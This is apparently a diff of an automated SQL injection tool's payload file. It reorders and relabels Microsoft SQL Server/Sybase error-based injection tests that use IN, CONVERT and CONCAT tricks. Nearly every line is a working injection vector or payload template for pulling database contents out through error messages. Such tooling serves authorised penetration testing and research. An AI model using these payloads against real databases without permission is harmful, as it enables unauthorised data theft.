|
388 | 388 | </test> |
389 | 389 |
|
390 | 390 | <test> |
391 | | - <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause</title> |
| 391 | + <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title> |
392 | 392 | <stype>2</stype> |
393 | 393 | <level>1</level> |
394 | 394 | <risk>1</risk> |
395 | 395 | <clause>1,9</clause> |
396 | 396 | <where>1</where> |
397 | | - <vector>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> |
| 397 | + <vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> |
398 | 398 | <request> |
399 | | - <payload>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> |
| 399 | + <payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> |
400 | 400 | </request> |
401 | 401 | <response> |
402 | 402 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
409 | 409 | </test> |
410 | 410 |
|
411 | 411 | <test> |
412 | | - <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause</title> |
| 412 | + <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)</title> |
413 | 413 | <stype>2</stype> |
414 | | - <level>1</level> |
| 414 | + <level>2</level> |
415 | 415 | <risk>3</risk> |
416 | 416 | <clause>1,9</clause> |
417 | 417 | <where>2</where> |
418 | | - <vector>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> |
| 418 | + <vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> |
419 | 419 | <request> |
420 | | - <payload>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> |
| 420 | + <payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> |
421 | 421 | </request> |
422 | 422 | <response> |
423 | 423 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
430 | 430 | </test> |
431 | 431 |
|
432 | 432 | <test> |
433 | | - <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)</title> |
| 433 | + <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)</title> |
434 | 434 | <stype>2</stype> |
435 | 435 | <level>2</level> |
436 | 436 | <risk>1</risk> |
437 | 437 | <clause>1,9</clause> |
438 | 438 | <where>1</where> |
439 | | - <vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector> |
| 439 | + <vector>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> |
440 | 440 | <request> |
441 | | - <payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload> |
| 441 | + <payload>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> |
442 | 442 | </request> |
443 | 443 | <response> |
444 | 444 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
451 | 451 | </test> |
452 | 452 |
|
453 | 453 | <test> |
454 | | - <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)</title> |
| 454 | + <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)</title> |
455 | 455 | <stype>2</stype> |
456 | 456 | <level>3</level> |
457 | 457 | <risk>3</risk> |
458 | 458 | <clause>1,9</clause> |
459 | 459 | <where>2</where> |
460 | | - <vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector> |
| 460 | + <vector>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> |
461 | 461 | <request> |
462 | | - <payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload> |
| 462 | + <payload>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> |
463 | 463 | </request> |
464 | 464 | <response> |
465 | 465 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
472 | 472 | </test> |
473 | 473 |
|
474 | 474 | <test> |
475 | | - <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title> |
| 475 | + <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)</title> |
476 | 476 | <stype>2</stype> |
477 | 477 | <level>2</level> |
478 | 478 | <risk>1</risk> |
479 | 479 | <clause>1,9</clause> |
480 | 480 | <where>1</where> |
481 | | - <vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> |
| 481 | + <vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector> |
482 | 482 | <request> |
483 | | - <payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> |
| 483 | + <payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload> |
484 | 484 | </request> |
485 | 485 | <response> |
486 | 486 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
493 | 493 | </test> |
494 | 494 |
|
495 | 495 | <test> |
496 | | - <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)</title> |
| 496 | + <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)</title> |
497 | 497 | <stype>2</stype> |
498 | | - <level>2</level> |
| 498 | + <level>3</level> |
499 | 499 | <risk>3</risk> |
500 | 500 | <clause>1,9</clause> |
501 | 501 | <where>2</where> |
502 | | - <vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> |
| 502 | + <vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector> |
503 | 503 | <request> |
504 | | - <payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> |
| 504 | + <payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload> |
505 | 505 | </request> |
506 | 506 | <response> |
507 | 507 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
0 commit comments